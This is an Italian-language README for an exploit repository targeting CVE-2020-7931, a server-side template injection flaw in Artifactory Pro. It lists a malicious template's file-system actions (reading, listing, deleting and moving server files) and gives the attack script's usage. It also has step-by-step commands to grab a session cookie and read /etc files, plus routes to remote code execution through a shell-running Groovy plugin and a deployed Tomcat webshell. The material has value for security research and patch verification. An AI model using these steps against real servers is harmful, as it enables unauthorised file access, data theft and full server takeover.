
Hacking Artifactory con iniezione di template lato server
CVE-2020-7931 è una vulnerabilità di errata configurazione intenzionale in Artifactory che consente agli aggressori di eseguire attacchi di server-side template injection a partire da un template FreeMarker.
La vulnerabilità è stata scoperta da Ryan Hanson di Atredis ed è stata corretta per tutte le versioni interessate alla fine del 2019. Funziona solo sulle versioni Pro di Artifactory, poiché le altre versioni non hanno capacità di templating.
Questo repository contiene uno script e un template.
Il template prende il primo parametro GET per determinare l'azione desiderata. Le azioni valide sono:
info Restituisce informazioni sulla configurazione corrente
read <filepath> Legge un file così com'è
read_bytes <filepath> Legge un file in forma binaria come interi
list <dirpath> Elenca il contenuto di una directory
create_file <filepath> Crea un file vuoto
mkdir <dirpath> Crea una cartella
delete <filepath> Elimina un file o una cartella vuota
move <src> <dst> Sposta un file (*)
copy <scr_path> <src_file> <dst> Copia un file nella root web dell'applicazione. Presta attenzione agli argomenti peculiari (**)
(*): move utilizza il metodo renameTo di Java che non funziona tra filesystem diversi. Per effettuare uno spostamento tra filesystem, è necessario prima copiare e poi spostare, maggiori informazioni di seguito.
(**): la sorgente deve essere suddivisa tra il percorso base e il nome del file; la destinazione è relativa al percorso root dell'applicazione web di Artifactory, ad esempio /opt/jfrog/artifactory/tomcat/webapps/artifactory/
usage: artifactory_CVE-2020-7931.py [-h] -H HOST [-u USER] [-p PASSWORD]
[-c COOKIE] [-U UPLOAD] [-g]
[-d DROP_TEMPLATE] [-e EXEC_TEMPLATE] [-r]
[-R REPOSITORY_NAME]
optional arguments:
-h, --help show this help message and exit
-H HOST, --host HOST
-u USER, --user USER
-p PASSWORD, --password PASSWORD
-c COOKIE, --cookie COOKIE
-U UPLOAD, --upload UPLOAD
-g, --get_cookie
-d DROP_TEMPLATE, --drop_template DROP_TEMPLATE
-e EXEC_TEMPLATE, --exec_template EXEC_TEMPLATE
-r, --reload_plugins
-R REPOSITORY_NAME, --repository_name REPOSITORY_NAME
Default: example-repo-local
export cookie=$(./artifactory_CVE-2020-7931.py -H http://localhost:8081 -g -u admin -p password | grep '-') && echo $cookie
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -U sample.groovy
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -d sample.xml
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml list /etc/
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml read /etc/password
Come abbiamo visto, renameTo() non funziona tra filesystem diversi. Per emulare questo, prima copia il file e poi spostalo (fallo immediatamente, altrimenti Artifactory potrebbe crashare!):
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml copy /var/opt/jfrog/artifactory/data/tmp/artifactory-uploads/ bla /bla (***)
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml move /opt/jfrog/artifactory/tomcat/webapps/artifactory/bla /etc/bla
(***): Come spiegato in precedenza, qui /bla si riferisce effettivamente a /opt/jfrog/artifactory/tomcat/webapps/artifactory/bla poiché root.write() scrive necessariamente nella root web dell'applicazione corrente.
Ciò consente di sfruttare configurazioni che memorizzano gli artefatti su un filesystem separato (che è una buona pratica!).
Per impostazione predefinita con un'installazione di Artifactory, non è possibile istanziare classi, quindi il trucco regolare freemarker.template.utility.Execute non funzionerà.
Ci sono diversi altri modi per ottenere l'esecuzione remota di codice semplicemente manipolando il filesystem:
Ecco un esempio di plugin Groovy che esegue comandi shell, esempi più elaborati qui:
def proc = "ls -la /etc".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());
I plugin devono essere inseriti nel percorso dei plugin /var/opt/jfrog/artifactory/etc/plugins/ e devono essere ricaricati utilizzando una chiamata API che richiede privilegi di amministratore di Artifactory:
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -r
Ecco un servlet Tomcat che implementa una webshell.
I file WAR devono essere inseriti nel percorso webapps di Tomcat /opt/jfrog/artifactory/tomcat/webapps/. Per impostazione predefinita, la distribuzione dei file WAR è automatica e avvierà un'altra applicazione web accanto all'istanza Artifactory, ad esempio su http://localhost:8081/sample/.
Questo è il metodo preferito poiché non richiede privilegi di amministratore di Artifactory ed è più semplice per eseguire comandi al volo.